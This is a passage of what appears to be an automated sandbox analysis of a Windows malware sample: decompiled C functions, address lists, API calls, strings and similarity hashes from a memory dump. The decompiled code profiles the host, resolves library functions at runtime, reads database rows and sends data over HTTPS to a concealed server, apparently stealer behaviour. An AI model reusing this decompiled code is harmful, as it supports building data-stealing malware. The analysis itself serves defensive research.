																								return 0x4000000;
																							}
																							return 0x4000000;
																						}
																						__eflags =  *_v1248;
																						if( *_v1248 == 0) {
																							L92:
																							_v1206 = _v28;
																							__eflags = _v1208 & 1;
																							if((_v1208 & 1) == 0) {
																								_t627 = _v1208 & 0xfff7;
																								__eflags = _t627;
																								_v1208 = _t627;
																							}
																							_v1168 = _v1208;
																							_t498 = E00411F30(_v1248, _v1160 - _v1248[4]);
																							__eflags = _t498 & 0x000000ff;
																							if((_t498 & 0x000000ff) != 0) {
																								_v1216 = E004103F0( &_v1212, E00411D80, _v1248);
																								__eflags = _v1216;
																								if(_v1216 == 0) {
																									_t502 = E00411F30(_v1248, _v1248[6]);
																									__eflags = _t502 & 0x000000ff;
																									if((_t502 & 0x000000ff) != 0) {
																										goto L109;
																									}
																									return 0x2000000;
																								}
																								return 0x400;
																							} else {
																								return 0x2000000;
																							}
																						}
																						__eflags = _v29 & 0x000000ff;
																						if((_v29 & 0x000000ff) == 0) {
																							goto L101;
																						}
																						goto L92;
																					}
																					return 0x400;
																				}
																				return _v1248[5];
																			}
																			__eflags = _v28;
																			if(__eflags != 0) {
																				goto L83;
																			}
																			_v8 = E00412850(_v1248, __eflags);
																			goto L85;
																		}
																		__eflags = _v28 - 8;
																		if(_v28 != 8) {
																			goto L80;
																		}
																		_t510 = E004126C0(_v1248,  &_v1212); // executed
																		_v8 = _t510;
																		goto L85;
																	}
																}
																E00412630(_v1248);
																return _v1248[5];
															}
															E00412630(_v1248);
															return 0x400;
														}
													}
													_t736 =  &_v884 + 0xffffffff;
													__eflags = _t736;
													_v1320 = _t736;
													do {
														_v1321 =  *((intOrPtr*)(_v1320 + 1));
														_v1320 = _v1320 + 1;
														__eflags = _v1321;
													} while (_v1321 != 0);
													_t737 = "/"; // 0x2f
													 *_v1320 = _t737;
													_t539 = _v1188 + 1;
													__eflags = _t539;
													_v1188 = _t539;
													goto L44;
												}
												return _v24;
											}
											_v24 = E004122A0(_v1248, _a8, _a12);
											goto L34;
										}
										_v24 = E004120F0(_v1248, _a8, _a12);
										goto L34;
									}
									_v24 = E00412020(_v1248, _a8);
									goto L34;
								}
								_t545 = E00411520(_t563,  &_v308);
								_t751 = _t751 + 4;
								__eflags = _t545 & 0x000000ff;
								if((_t545 & 0x000000ff) == 0) {
									goto L25;
								}
								goto L24;
							}
							_v1268 =  &_v308;
							_t548 = _v1268 + 1;
							__eflags = _t548;
							_v1272 = _t548;
							do {
								_v1273 =  *_v1268;
								_v1268 = _v1268 + 1;
								__eflags = _v1273;
							} while (_v1273 != 0);
							_v1280 = _v1268 - _v1272;
							_t652 = _v1280;
							__eflags =  *((char*)(_t750 + _t652 - 0x131)) - 0x2f;
							if( *((char*)(_t750 + _t652 - 0x131)) == 0x2f) {
								goto L21;
							}
							_v1284 = 1;
							goto L22;
						}
						return 0x10000;
					}
					return 0x50000;
				}
				return 0x40000;
			}

0x004128db
0x004128eb
0x004128f7
0x00412901
0x00412903
0x0041290f
0x0041291f
0x00412922
0x00412924
0x00412928
0x0041292a
0x0041292a
0x00412928
0x00412937
0x00412943
0x0041294f
0x00412955
0x0041295d
0x0041296f
0x0041297a
0x00412989
0x0041298f
0x0041298f
0x0041299f
0x004129a1
0x004129b3
0x004129b9
0x004129c2
0x004129c4
0x00000000
0x00000000
0x004129cf
0x004129d2
0x004129da
0x004129da
0x004129e6
0x004129e6
0x004129f0
0x004129f7
0x004129fe
0x00412a00
0x00412a6c
0x00412a6c
0x00412a76
0x00412a7c
0x00412a7f
0x00412a86
0x00412a8a
0x00412a8c
0x00412aa4
0x00412aa4
0x00412aab
0x00412aab
0x00412aaf
0x00412ac5
0x00412ac9
0x00412ae3
0x00412ae7
0x00412b01
0x00412b05
0x00000000
0x00412b17
0x00412b12
0x00412b21
0x00412b21
0x00412b25
0x00412b2f
0x00412b39
0x00412b3e
0x00412b4a
0x00412b56
0x00412b62
0x00412b68
0x00412b70
0x00412b82
0x00412b8d
0x00412b9c
0x00412ba2
0x00412ba2
0x00412bb1
0x00412bbd
0x00412bbd
0x00412bc0
0x00412bc6
0x00412bce
0x00412bd4
0x00412bdb
0x00412bdb
0x00412bf0
0x00412bfc
0x00412c06
0x00412c08
0x00412c57
0x00412c57
0x00412c5d
0x00412c63
0x00412c6d
0x00412c77
0x00412c81
0x00412c8b
0x00412c95
0x00412c9f
0x00412ca9
0x00412cb5
0x00412cc1
0x00412ccd
0x00412cdd
0x00412ce3
0x00412cf2
0x00412cff
0x00412d02
0x00412d08
0x00412d0a
0x00412d11
0x00412d11
0x00412d0a
0x00412d1f
0x00412d2a
0x00412d31
0x00412d35
0x00412d5a
0x00412d5a
0x00000000
0x00412d37
0x00412d37
0x00412d3d
0x00412d41
0x00000000
0x00000000
0x00412d52
0x00412d64
0x00412d6a
0x00412d79
0x00412d81
0x00412d91
0x00412da9
0x00412db5
0x00412dbb
0x00412dc8
0x00412dce
0x00412dd8
0x00412ddf
0x00412de6
0x00412ded
0x00412df4
0x00412e04
0x00412e1d
0x00412e36
0x00412e4f
0x00412e5e
0x00412e77
0x00412e90
0x00412ea9
0x00412eb8
0x00412ed1
0x00412eea
0x00412f03
0x00412f19
0x00412f25
0x00412f3c
0x00412f41
0x00412f44
0x00412f4a
0x00412f51
0x00412f87
0x00412f8a
0x00412f90
0x00412f94
0x00412fb5
0x00412fc2
0x00412fcf
0x00412fde
0x00412ff5
0x00412ff5
0x00412ffc
0x00000000
0x00000000
0x00413007
0x00413009
0x00000000
0x00000000
0x0041301f
0x00413024
0x00412fec
0x00412fec
0x00412fef
0x00412fef
0x00413030
0x00413032
0x00413034
0x00413042
0x00413045
0x0041304a
0x0041304a
0x0041304d
0x00413068
0x00413068
0x0041306f
0x00000000
0x00000000
0x00413084
0x0041305f
0x0041305f
0x00413062
0x00413062
0x00413099
0x0041309c
0x004130b7
0x004130b7
0x004130be
0x00000000
0x00000000
0x004130d6
0x004130db
0x004130e4
0x004130ae
0x004130ae
0x004130b1
0x004130b1
0x004130f0
0x004130f3
0x004130f9
0x004130fb
0x0041310a
0x0041310f
0x0041311b
0x0041311b
0x00413124
0x00413124
0x004130fb
0x00413127
0x00413134
0x00413137
0x0041314d
0x0041314d
0x00000000
0x00413139
0x0041313d
0x0041313f
0x00000000
0x00000000
0x00413141
0x00413157
0x00413163
0x0041316a
0x0041316c
0x0041318b
0x0041318f
0x00413191
0x004131a9
0x004131ad
0x004131af
0x004131b7
0x004131b7
0x004131c1
0x004131c7
0x004131d1
0x004131f1
0x004131f4
0x004131fa
0x004131fe
0x0041320e
0x00413212
0x00413232
0x0041323b
0x0041324a
0x00413262
0x00413271
0x00413277
0x00413281
0x00413283
0x00413361
0x0041336c
0x0041336e
0x0041337a
0x0041337e
0x00413395
0x004133b0
0x004133b6
0x004133bd
0x004133d2
0x004133d2
0x004133db
0x004133e5
0x004133ec
0x004133ec
0x004133f2
0x004133f6
0x00413415
0x00413421
0x0041343c
0x00413448
0x0041345b
0x00413467
0x00413480
0x00413486
0x0041348c
0x00413490
0x004134ac
0x004134b2
0x004134b2
0x004134b8
0x004134bf
0x00000000
0x00000000
0x004134cd
0x004134cd
0x004134e1
0x004134e7
0x004134e7
0x00000000
0x004134e7
0x0041349e
0x00000000
0x0041349e
0x00000000
0x004133fe
0x00000000
0x004133bf
0x00413387
0x00413389
0x00000000
0x00000000
0x00000000
0x0041338b
0x00000000
0x00413370
0x0041328f
0x00413292
0x004132a0
0x004132a4
0x004132b2
0x004132b5
0x004132be
0x004132be
0x004132c1
0x004132c1
0x004132cf
0x004132ec
0x004132f4
0x004132f6
0x0041331d
0x00413323
0x0041332a
0x00413346
0x0041334e
0x00413350
0x00000000
0x0041335c
0x00000000
0x00413352
0x00000000
0x004132f8
0x00000000
0x004132f8
0x004132f6
0x00413298
0x0041329a
0x00000000
0x00000000
0x00000000
0x0041329a
0x00000000
0x00413214
0x00000000
0x00413206
0x00413193
0x00413197
0x00000000
0x00000000
0x004131a4
0x00000000
0x004131a4
0x0041316e
0x00413172
0x00000000
0x00000000
0x00413181
0x00413186
0x00000000
0x00413186
0x00413137
0x00412f9c
0x00000000
0x00412fa7
0x00412f59
0x00000000
0x00412f5e
0x00412d35
0x00412c10
0x00412c10
0x00412c13
0x00412c19
0x00412c22
0x00412c28
0x00412c2f
0x00412c2f
0x00412c3e
0x00412c45
0x00412c4e
0x00412c4e
0x00412c51
0x00000000
0x00412c51
0x00000000
0x00412b27
0x00412afc
0x00000000
0x00412afc
0x00412ade
0x00000000
0x00412ade
0x00412ac0
0x00000000
0x00412ac0
0x00412a95
0x00412a9a
0x00412aa0
0x00412aa2
0x00000000
0x00000000
0x00000000
0x00412aa2
0x00412a08
0x00412a14
0x00412a14
0x00412a17
0x00412a1d
0x00412a25
0x00412a2b
0x00412a32
0x00412a32
0x00412a47
0x00412a4d
0x00412a5b
0x00412a5e
0x00000000
0x00000000
0x00412a60
0x00000000
0x00412a60
0x00000000
0x004129a3
0x00000000
0x00412905
0x00000000

Strings

T, xrefs: 00412DDF
in-gdi-devcaps-l1-1-0, xrefs: 00412905
U, xrefs: 00412DD8

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID:
String ID: T$U$in-gdi-devcaps-l1-1-0
API String ID: 0-288398438
Opcode ID: 2bf3ffbad93d0af547c7b721bbb462a3e5f9b77f0fa106bcee6d2d6edbab0e33
Instruction ID: 00dce716d0ee67761e045a8ccd0c621d7d797fa176ed0ca347538d8e8b3760a6
Opcode Fuzzy Hash: 2bf3ffbad93d0af547c7b721bbb462a3e5f9b77f0fa106bcee6d2d6edbab0e33
Instruction Fuzzy Hash: 477228B4A052698FDB24CF14C990BEABBB1BF49305F1480DAD909A7342D7389EC5CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0040B000, Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 45
memoryCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040B000() {
				void* _v8;
				int _v16;
				int _v20;
				struct _MEMORYSTATUSEX _v84;
				void* _t18;
				int _t27;

				_v8 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_t18 = memset( &_v84, 0, 0x40);
				_v84.dwLength = 0x40;
				GlobalMemoryStatusEx( &_v84); // executed
				if(_t18 != 1) {
					_v20 = 0;
					_v16 = 0;
				} else {
					_t27 = _v84.ullAvailPhys;
					_v20 = E00413940(_v84.ullTotalPhys, _t27, 0x100000, 0);
					_v16 = _t27;
				}
				_push(_v16);
				wsprintfA(_v8, "%d MB", _v20);
				return _v8;
			}

0x0040b01a
0x0040b025
0x0040b02b
0x0040b036
0x0040b03f
0x0040b05d
0x0040b064
0x0040b041
0x0040b048
0x0040b055
0x0040b058
0x0040b058
0x0040b06e
0x0040b07c
0x0040b08b

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B00D
RtlAllocateHeap.NTDLL(00000000), ref: 0040B014
memset.NTDLL ref: 0040B025
GlobalMemoryStatusEx.KERNEL32(00000040), ref: 0040B036
__aulldiv.LIBCMT ref: 0040B050
wsprintfA.USER32 ref: 0040B07C

Strings

@, xrefs: 0040B02B
%d MB, xrefs: 0040B073

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: Heap$AllocateGlobalMemoryProcessStatus__aulldivmemsetwsprintf
String ID: %d MB$@
API String ID: 3391354518-3474575989
Opcode ID: fccb103469cb7bb388c409a6e7fed2ab2e9d3f73f783b03a8c0b01334b29ccb9
Instruction ID: d6dd67dfb3d0438e7a0ae41fe93027642831ff50444b6176823616896e2162a9
Opcode Fuzzy Hash: fccb103469cb7bb388c409a6e7fed2ab2e9d3f73f783b03a8c0b01334b29ccb9
Instruction Fuzzy Hash: 7F01A9B1D40208ABDB00DFE4DD49BEFB7B8FB48701F108559F615AB280D7B99A118B99

Uniqueness

Uniqueness Score: -1.00%

Function 00406650, Relevance: 13.7, APIs: 9, Instructions: 176
stringCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00406650(void* __ecx, void* __eflags) {
				char _v5004;
				char _v5268;
				char _v10268;
				char _v10272;
				char _v10276;
				char _v10540;
				char _v10544;
				char _t37;
				intOrPtr _t46;
				intOrPtr _t51;
				intOrPtr _t52;
				void* _t53;
				intOrPtr _t61;
				intOrPtr _t71;
				void* _t72;
				void* _t76;
				intOrPtr _t90;
				intOrPtr _t92;
				intOrPtr _t93;
				intOrPtr _t97;
				intOrPtr _t101;
				intOrPtr _t107;
				intOrPtr _t109;
				intOrPtr _t111;
				intOrPtr _t112;
				intOrPtr _t116;
				CHAR* _t117;
				void* _t121;
				void* _t129;
				void* _t133;

				_t133 = __eflags;
				E004139B0(0x292c, __ecx);
				_t37 = E00413730(0, 0x6400000, 0); // executed
				_v10544 = _t37;
				E0040B720( &_v5268, 0x104);
				E0040B720( &_v10268, 0x1388);
				E0040B720( &_v10540, 0x104);
				 *0x41aa24( &_v5268, E0040B8B0( &_v10268, _t133, 0x10));
				_t90 =  *0x41a260; // 0x9fe508
				 *0x41aa24( &_v5268, _t90);
				_t46 =  *0x41a368; // 0xa12168
				 *0x41aa24( &_v10540, _t46);
				_t107 =  *0x41a7c4; // 0xa14d18
				 *0x41aa24( &_v10540, _t107);
				_t92 =  *0x41a76c; // 0xa16e68
				 *0x41aa24( &_v10540, _t92);
				_t51 =  *0x41a714; // 0xa17328
				_t93 =  *0x41a288; // 0xa16fa0
				_t109 =  *0x41a7c4; // 0xa14d18
				_t52 =  *0x41a368; // 0xa12168
				_t53 = E004051A0(_t93, _t133, _t52, _t109, _t93, _t51); // executed
				 *0x41aa24( &_v10268, _t53);
				E00406320( &_v10268, _t133,  &_v10268, _v10544); // executed
				E0040B720( &_v10268, 0x1388);
				_t111 =  *0x41a6a4; // 0xa16820
				E004049E0( &_v10268,  &_v10540, _t111); // executed
				E0040B720( &_v10540, 0x104);
				_t112 =  *0x41aba8; // 0x1
				_t61 =  *0x41abac; // 0x1
				_t97 =  *0x41aba4; // 0x1
				E0040A700(_t133, _v10544, _t97, _t61, _t112); // executed
				E00401470(_v10544); // executed
				E004056E0(_v10544, _t133, _v10544); // executed
				_t129 = _t121 + 0x48;
				_t134 =  *0x41abb0;
				if( *0x41abb0 != 0) {
					E0040BCF0(_t134, 0x41, _v10544); // executed
					_t129 = _t129 + 8;
				}
				E00413800(_v10544,  &_v10276,  &_v10272);
				E0040B720( &_v5004, 0x1388);
				_t101 =  *0x41a288; // 0xa16fa0
				_t116 =  *0x41a7c4; // 0xa14d18
				_t71 =  *0x41a368; // 0xa12168
				_t72 = E00404BE0(_t101, _t134, _t71, _t116, _t101,  &_v5268, _v10276, _v10272); // executed
				 *0x41aa24( &_v5004, _t72);
				_t117 =  *0x41a6a8; // 0xa17a00
				SetCurrentDirectoryA(_t117); // executed
				_t76 =  *0x41a908( &_v5004);
				_t135 = _t76 - 5;
				if(_t76 > 5) {
					E00405B00(_t135,  &_v5004);
				}
				E0040B720( &_v5268, 0x104);
				E0040B720( &_v5004, 0x1388);
				E0040B720( &_v10276, 4);
				E0040B720( &_v10272, 4);
				E0040B720( &_v10544, 4); // executed
				E00405DE0(); // executed
				 *0x41abb4 = 1;
				return 0;
			}

0x00406650
0x00406658
0x00406666
0x0040666e
0x00406680
0x00406691
0x004066a2
0x004066b9
0x004066bf
0x004066cd
0x004066d3
0x004066e0
0x004066e6
0x004066f4
0x004066fa
0x00406708
0x0040670e
0x00406714
0x0040671b
0x00406722
0x00406728
0x00406738
0x0040674c
0x00406760
0x00406765
0x00406773
0x00406787
0x0040678c
0x00406793
0x00406799
0x004067a7
0x004067b6
0x004067c5
0x004067ca
0x004067cd
0x004067d4
0x004067df
0x004067e4
0x004067e4
0x004067fc
0x00406810
0x0040682a
0x00406831
0x00406838
0x0040683e
0x0040684e
0x00406854
0x0040685b
0x00406868
0x0040686e
0x00406871
0x0040687a
0x0040687f
0x0040688e
0x0040689f
0x004068ad
0x004068bb
0x004068c9
0x004068ce
0x004068d3
0x004068e2

APIs

Part of subcall function 0040B8B0: GetSystemTime.KERNEL32(?,?,00000104), ref: 0040B8D1

lstrcat.KERNEL32(?,00000000), ref: 004066B9
lstrcat.KERNEL32(?,009FE508), ref: 004066CD
lstrcat.KERNEL32(?,00A12168), ref: 004066E0
lstrcat.KERNEL32(?,00A14D18), ref: 004066F4
lstrcat.KERNEL32(?,00A16E68), ref: 00406708

Part of subcall function 004051A0: InternetOpenA.WININET(0041401A,00000000,00000000,00000000,00000000), ref: 004051CD
Part of subcall function 004051A0: StrCmpCA.SHLWAPI(00000000,https://), ref: 004051F3
Part of subcall function 004051A0: InternetSetOptionA.WININET(00000000,00000006,000927C0,00000004), ref: 0040522D
Part of subcall function 004051A0: InternetConnectA.WININET(00000000,00A12168,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 00405253
Part of subcall function 004051A0: HttpOpenRequestA.WININET(00000000,?,0040672D,00000000,00000000,00000000,00C00100,00000000), ref: 004052B3
Part of subcall function 004051A0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00405327
Part of subcall function 004051A0: HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00405343
Part of subcall function 004051A0: StrCmpCA.SHLWAPI(?,200), ref: 00405359

lstrcat.KERNEL32(?,00000000), ref: 00406738

Part of subcall function 00406320: lstrcat.KERNEL32(?,?), ref: 00406394

Part of subcall function 004049E0: InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 00404A0E

Part of subcall function 0040A700: GetProcessHeap.KERNEL32(00000000,000F423F,?,004067AC,?,00000001,00000001,00000001,?,00000104,?,00001388), ref: 0040A70A
Part of subcall function 0040A700: RtlAllocateHeap.NTDLL(00000000,?,004067AC), ref: 0040A711

Part of subcall function 004056E0: GetProcessHeap.KERNEL32(00000000,000F423F,?,?,004067CA,?,?,?,?,?,00000104,?,00001388), ref: 004056EB
Part of subcall function 004056E0: RtlAllocateHeap.NTDLL(00000000,?,004067CA), ref: 004056F2
Part of subcall function 004056E0: lstrcat.KERNEL32(?,009FE518), ref: 00405705
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00A00AD8), ref: 00405716
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00418BC0), ref: 00405725
Part of subcall function 004056E0: lstrcat.KERNEL32(?,009FF5C8), ref: 00405736
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00418BC4), ref: 00405745
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00A14A58), ref: 00405756
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00418BC0), ref: 00405765
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00A16F10), ref: 00405776
Part of subcall function 004056E0: GetCurrentProcessId.KERNEL32(?,004067CA,?,?,?,?,?,00000104,?,00001388), ref: 0040577C
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00000000), ref: 00405790
Part of subcall function 004056E0: lstrcat.KERNEL32(00418BC0,00418BC0), ref: 0040579F
Part of subcall function 004056E0: lstrcat.KERNEL32(00A16D78,00A16D78), ref: 004057AF
Part of subcall function 004056E0: lstrcat.KERNEL32(00000000,00000000), ref: 004057BF
Part of subcall function 004056E0: lstrcat.KERNEL32(00418BC4,00418BC4), ref: 004057CE
Part of subcall function 004056E0: lstrcat.KERNEL32(00A16F40,00A16F40), ref: 004057DF
Part of subcall function 004056E0: lstrcat.KERNEL32(00000000,00000000), ref: 004057EF
Part of subcall function 004056E0: lstrcat.KERNEL32(00418BC0,00418BC0), ref: 004057FE
Part of subcall function 004056E0: lstrcat.KERNEL32(00A14C38,00A14C38), ref: 0040580F
Part of subcall function 004056E0: lstrcat.KERNEL32(00000000,00000000), ref: 0040581F
Part of subcall function 004056E0: lstrcat.KERNEL32(00418BC4,00418BC4), ref: 0040582E

lstrcat.KERNEL32(?,00000000), ref: 0040684E
SetCurrentDirectoryA.KERNEL32(00A17A00,?,?,?,?,?,00001388,?,?,?,?,?,?,?,?,00000104), ref: 0040685B
lstrlen.KERNEL32(?,?,?,?,?,?,00001388,?,?,?,?,?,?,?,?,00000104), ref: 00406868

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: lstrcat$HeapInternet$HttpOpenProcess$AllocateCurrentRequest$ConnectDirectoryInfoOptionQuerySendSystemTimelstrlen
String ID:
API String ID: 2767677664-0
Opcode ID: fabbc2a9677d3c6aeca39df0d5bc9609c913b9ae446aed9ab3f1a9a909d992f7
Instruction ID: 4521fb7a1d59e918bbbcfb22c6a1b4b47e0d9ef7d9e5ed5fdd184795f43376b9
Opcode Fuzzy Hash: fabbc2a9677d3c6aeca39df0d5bc9609c913b9ae446aed9ab3f1a9a909d992f7
Instruction Fuzzy Hash: 476159B6901214ABD711EB60DC45DDA73BCEB4C744F00C5AAF209A3191DB78E794CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00407060, Relevance: 13.6, APIs: 9, Instructions: 61
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00407060() {
				CHAR* _t1;
				struct HINSTANCE__* _t2;
				CHAR* _t5;
				struct HINSTANCE__* _t7;
				CHAR* _t10;
				struct HINSTANCE__* _t12;
				CHAR* _t15;
				CHAR* _t18;
				struct HINSTANCE__* _t19;
				CHAR* _t20;
				struct HINSTANCE__* _t21;
				CHAR* _t22;
				struct HINSTANCE__* _t23;
				struct HINSTANCE__* _t24;
				CHAR* _t25;
				struct HINSTANCE__* _t26;
				CHAR* _t27;
				struct HINSTANCE__* _t28;

				_t1 =  *0x41a6a4; // 0xa16820
				_t2 = LoadLibraryA(_t1); // executed
				 *0x41a82c = _t2;
				if( *0x41a82c == 0) {
					return 0;
				}
				_t18 =  *0x41a4d0; // 0xa17f28
				_t24 =  *0x41a82c; // 0x60900000
				 *0x41a830 = GetProcAddress(_t24, _t18);
				_t5 =  *0x41a0ec; // 0xa18718
				_t19 =  *0x41a82c; // 0x60900000
				 *0x41a7e8 = GetProcAddress(_t19, _t5);
				_t25 =  *0x41a43c; // 0xa17eb0
				_t7 =  *0x41a82c; // 0x60900000
				 *0x41a804 = GetProcAddress(_t7, _t25);
				_t20 =  *0x41a41c; // 0xa18398
				_t26 =  *0x41a82c; // 0x60900000
				 *0x41a820 = GetProcAddress(_t26, _t20);
				_t10 =  *0x41a454; // 0xa186b8
				_t21 =  *0x41a82c; // 0x60900000
				 *0x41a808 = GetProcAddress(_t21, _t10);
				_t27 =  *0x41a684; // 0xa17e80
				_t12 =  *0x41a82c; // 0x60900000
				 *0x41a834 = GetProcAddress(_t12, _t27);
				_t22 =  *0x41a570; // 0xa18458
				_t28 =  *0x41a82c; // 0x60900000
				 *0x41a810 = GetProcAddress(_t28, _t22);
				_t15 =  *0x41a6f8; // 0xa183b8
				_t23 =  *0x41a82c; // 0x60900000
				 *0x41a818 = GetProcAddress(_t23, _t15);
				return 1;
			}

0x00407063
0x00407069
0x0040706f
0x0040707b
0x00000000
0x0040714b
0x00407081
0x00407088
0x00407095
0x0040709a
0x004070a0
0x004070ad
0x004070b2
0x004070b9
0x004070c5
0x004070ca
0x004070d1
0x004070de
0x004070e3
0x004070e9
0x004070f6
0x004070fb
0x00407102
0x0040710e
0x00407113
0x0040711a
0x00407127
0x0040712c
0x00407132
0x0040713f
0x00000000

APIs

LoadLibraryA.KERNEL32(00A16820,?,0040A721,?,004067AC,?,00000001,00000001,00000001,?,00000104,?,00001388), ref: 00407069
GetProcAddress.KERNEL32(60900000,00A17F28), ref: 0040708F
GetProcAddress.KERNEL32(60900000,00A18718), ref: 004070A7
GetProcAddress.KERNEL32(60900000,00A17EB0), ref: 004070BF
GetProcAddress.KERNEL32(60900000,00A18398), ref: 004070D8
GetProcAddress.KERNEL32(60900000,00A186B8), ref: 004070F0
GetProcAddress.KERNEL32(60900000,00A17E80), ref: 00407108
GetProcAddress.KERNEL32(60900000,00A18458), ref: 00407121
GetProcAddress.KERNEL32(60900000,00A183B8), ref: 00407139

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: 594726dc9d5095b157e22f132bae16ed91bae53f4790aeb2ce1616c6ce3a6a40
Instruction ID: 2672694bce1a196fb14c5d12644c19629fc0bc7f4ce699a9cda348cbaa83b162
Opcode Fuzzy Hash: 594726dc9d5095b157e22f132bae16ed91bae53f4790aeb2ce1616c6ce3a6a40
Instruction Fuzzy Hash: 64210DB56262009FC344EBB8ED889B637E9B74C315711C53AE505C3261D635A462CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 00408650, Relevance: 12.1, APIs: 8, Instructions: 107
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E00408650(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a24) {
				char _v8;
				char _v276;
				char _v280;
				void* _v284;
				intOrPtr _v288;
				intOrPtr _v292;
				CHAR* _t30;
				void* _t33;
				void* _t35;
				void* _t40;
				void* _t41;
				intOrPtr _t48;
				intOrPtr _t67;
				void* _t73;
				void* _t75;
				void* _t76;
				void* _t79;

				E0040B720( &_v276, 0x104);
				_t30 =  *0x41a418; // 0xa18498
				wsprintfA( &_v276, _t30, _a12, _a8);
				_t33 =  *0x41a830(_a4,  &_v8); // executed
				_t75 = _t73 + 0x18;
				if(_t33 == 0) {
					_t67 =  *0x41a790; // 0xa128a8
					_t35 =  *0x41a7e8(_v8, _t67, 0xffffffff,  &_v280, 0);
					_t76 = _t75 + 0x14;
					if(_t35 != 0) {
						L6:
						 *0x41a808(_v280);
						return  *0x41a834(_v8);
					}
					_t40 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f); // executed
					_v284 = _t40;
					while(1) {
						_t41 =  *0x41a804(_v280); // executed
						_t79 = _t76 + 4;
						if(_t41 != 0x64) {
							break;
						}
						_v288 =  *0x41a820(_v280, 0);
						_t48 =  *0x41a820(_v280, 1);
						_t76 = _t79 + 0x10;
						_v292 = _t48;
						 *0x41aa24(_v284, _v288);
						 *0x41aa24(_v284, "\n");
						 *0x41aa24(_v284, _v292);
						 *0x41aa24(_v284, "\n\n");
					}
					E004137E0(_a24,  &_v276, _v284,  *0x41a908(_v284));
					_t76 = _t79 + 0x10;
					E0040B720( &_v284, 4);
					goto L6;
				}
				return _t33;
			}

0x00408665
0x00408672
0x0040867f
0x00408690
0x00408696
0x0040869b
0x004086ac
0x004086b7
0x004086bd
0x004086c2
0x004087b2
0x004087b9
0x00000000
0x004087cc
0x004086d6
0x004086dc
0x004086e2
0x004086e9
0x004086ef
0x004086f5
0x00000000
0x00000000
0x0040870d
0x0040871c
0x00408722
0x00408725
0x00408739
0x0040874b
0x0040875f
0x00408771
0x00408771
0x0040879c
0x004087a1
0x004087ad
0x00000000
0x004087ad
0x004087d2

APIs

wsprintfA.USER32 ref: 0040867F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 004086CF
RtlAllocateHeap.NTDLL(00000000), ref: 004086D6
lstrcat.KERNEL32(?,?), ref: 00408739
lstrcat.KERNEL32(?,00418BC4), ref: 0040874B
lstrcat.KERNEL32(?,?), ref: 0040875F
lstrcat.KERNEL32(?,00418BC0), ref: 00408771
lstrlen.KERNEL32(?), ref: 00408783

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
Opcode ID: 340ca0eb144f517e02d05f8716fdd593d709ac7e3989bb53e3aa0ae354c4a9b9
Instruction ID: 955311191cc75421edc53ced7400f0f4475059767564ca96251eab490a2998f9
Opcode Fuzzy Hash: 340ca0eb144f517e02d05f8716fdd593d709ac7e3989bb53e3aa0ae354c4a9b9
Instruction Fuzzy Hash: 5F41A9B1900108ABCB14DBA4DD46FDA7778AF4C705F0085A9F70997141DB35DAA1CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00408150, Relevance: 12.1, APIs: 8, Instructions: 107
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E00408150(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a24) {
				char _v268;
				char _v272;
				char _v276;
				void* _v280;
				intOrPtr _v284;
				intOrPtr _v288;
				CHAR* _t30;
				void* _t33;
				void* _t35;
				void* _t40;
				void* _t41;
				intOrPtr _t48;
				intOrPtr _t67;
				void* _t73;
				void* _t75;
				void* _t76;
				void* _t79;

				E0040B720( &_v268, 0x104);
				_t30 =  *0x41a40c; // 0xa18638
				wsprintfA( &_v268, _t30, _a12, _a8);
				_t33 =  *0x41a830(_a4,  &_v272); // executed
				_t75 = _t73 + 0x18;
				if(_t33 == 0) {
					_t67 =  *0x41a6ec; // 0xa16178
					_t35 =  *0x41a7e8(_v272, _t67, 0xffffffff,  &_v276, 0);
					_t76 = _t75 + 0x14;
					if(_t35 != 0) {
						L6:
						 *0x41a808(_v276);
						return  *0x41a834(_v272);
					}
